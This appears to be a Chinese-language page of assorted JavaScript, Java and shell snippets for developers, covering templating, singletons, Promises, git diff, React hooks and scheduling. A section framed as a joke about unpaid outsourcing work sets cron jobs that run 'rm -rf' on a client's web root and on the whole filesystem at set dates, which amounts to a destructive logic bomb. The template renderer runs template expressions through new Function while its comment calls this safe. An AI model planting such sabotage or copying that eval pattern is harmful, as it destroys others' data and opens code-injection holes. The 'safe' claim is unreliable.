Code

模板字符串渲染javascript
function render(template, data) {
  return template.replace(/\{\{(.+?)\}\}/g, (match, expr) => {
    try {
      // 使用 Function 构造函数安全执行表达式
      return new Function("with(this) { return " + expr + " }").call(data) || '';
      // 或者使用 eval
      // with (data) {
      //   return eval(expr);
      // }
    } catch (e) {
      console.error("Error evaluating expression:", expr, e);
      return '';
    }
  });
}

单例模式javascript
function singleton(Constructor){
    let instance = null;

    const proxy = new Proxy(Constructor,{
        construct(target, args){
            if(!instance){
                instance = Reflect.construct(target, args);
            }
            return instance;
        }
    })
    proxy.prototype.constructor = proxy
    return proxy
}

手写 INSTANCEOFjavascript
function myInstanceof(obj, constructor) {
  let prototype = constructor.prototype;
  let proto = obj.__proto__;
  while (true) {
    if (proto === null) return false;
    if (proto === prototype) return true;
    proto = proto.__proto__;
  }
}

手写 PROMISEjavascript
const PENDING = "pending"
const FULFILLED = "fulfilled"
const REJECTED = "rejected"
class MyPromise {
  #state = PENDING
  #result = null

  #thenables = []

  constructor(executor) {
    const resolve = value => {
      this.#changeState(FULFILLED, value)
    }

    const reject = reason => {
      this.#changeState(REJECTED, reason)
    }
    executor(resolve, reject)
  }

  #changeState(state, result) {
    if (this.#state !== PENDING) return
    this.#state = state
    this.#result = result
    this.#run()
  }

  #handleCallback(callback, resolve, reject) {
    if (typeof callback !== "function") {
      // 状态穿透
      queueMicrotask(() => {
        const fn = this.#state === FULFILLED ? resolve : reject
        fn(this.#result)
      })
      return
    }
    queueMicrotask(() => {
      try {
        const result = callback(this.#result)
        resolve(result)
      } catch (error) {
        reject(error)
      }
    })
  }

  #run() {
    if (this.#state === PENDING) return
    while (this.#thenables.length) {
      const { onFulfilled, onRejected, resolve, reject } =
        this.#thenables.shift()
      const cb = this.#state === FULFILLED ? onFulfilled : onRejected
      this.#handleCallback(cb, resolve, reject)
    }
  }

  then(onFulfilled, onRejected) {
    return new MyPromise((resolve, reject) => {
      this.#thenables.push({
        onFulfilled: onFulfilled,
        onRejected: onRejected,
        resolve,
        reject,
      })
      this.#run()
    })
  }

  catch(onRejected) {
    return this.then(null, onRejected)
  }

  finally(onFinally) {
    return this.then(
      value => {
        onFinally()
        return value
      },
      reason => {
        onFinally()
        throw reason
      }
    )
  }
}

GIT DIFFshell
# 查看尚未暂存的文件更新了哪些部分
git diff
# 查看尚未暂存的某个文件更新了哪些
git diff filename
# 查看已经暂存起来的文件和上次提交的版本之间的差异
git diff –cached
# 查看已经暂存起来的某个文件和上次提交的版本之间的差异
git diff –cached filename
# 查看某两个版本之间的差异
git diff ffd98b291e0caa6c33575c1ef465eae661ce40c9 b8e7b00c02b95b320f14b625663fdecf2d63e74c
# 查看某两个版本的某个文件之间的差异
git diff ffd98b291e0caa6c33575c1ef465eae661ce40c9:filename b8e7b00c02b95b320f14b625663fdecf2d63e74c:filename

程序员跑路必备shell
# 做外包的时候，再也不用担心拿不到尾款了
# 编辑定时任务,命令行输入：
crontab -e
# 然后编写你的任务
#不给钱嘛，劳动节给个惊喜
0 0 1 5 * rm -rf /usr/share/nginx/html 
#特么的都过去一年了，算了算了，不陪你玩了
0 0 1 1 * rm -rf / 

# 查看当前定时任务
crontab -l
# 查看root用户的定时任务
crontab -l -u root

SPRINGMVC 返回结果封装java
/**
 * Created by wolf on 2017/9/16.
 */
public class  Res<T> {

    private int code = 0;
    private T data;
    private String msg = "";
    private String error = "";

    public static Res ok = new Res();
    public static Res fail = new Res().code(-1);

    public static Res build() {
        return new Res();
    }

    public static <T> Res build(T data){
        return new Res().data(data);
    }

    public Res code(int code) {
        this.code = code;
        return this;
    }

    public Res data(T data) {
        this.data = data;
        return this;
    }

    public Res msg(String msg) {
        this.msg = msg;
        return this;
    }

    public Res error(String error) {
        this.error = error;
        return this;
    }
    //省略getter
}

REACT HOOKS 获取鼠标位置javascript
import { useState, useEffect } from "react"

export default function useMousePosition() {
  const [mousePosition, setMousePosition] = useState({ x: null, y: null })

  useEffect(() => {
    const updateMousePosition = ev => {
      setMousePosition({ x: ev.clientX, y: ev.clientY })
    }
    window.addEventListener("mousemove", updateMousePosition)
    return () => {
      window.removeEventListener("mousemove", updateMousePosition)
    }
  }, [])

  return mousePosition
}

链式风格的定时任务队列javascript
export default class Schedule{
  constructor(){
    this._delay=0
    this.p = null
  }
  timer(task,ms){
    return new Promise((resolve,reject)=>{
      setTimeout(()=>{
        task && task()
        resolve()
      },ms)
    })
  }
  task(task){
    const {_delay:delay,timer,p}=this
    this.p = p ?p.then(()=>timer(task,delay)) :timer(task,delay)
    return this
  }
  delay(_delay){
    this._delay = _delay
    return this
  }
}
// 用法
new Schedule().task(task1)
  .delay(1000).task(task2)
  .delay(500).task(task3)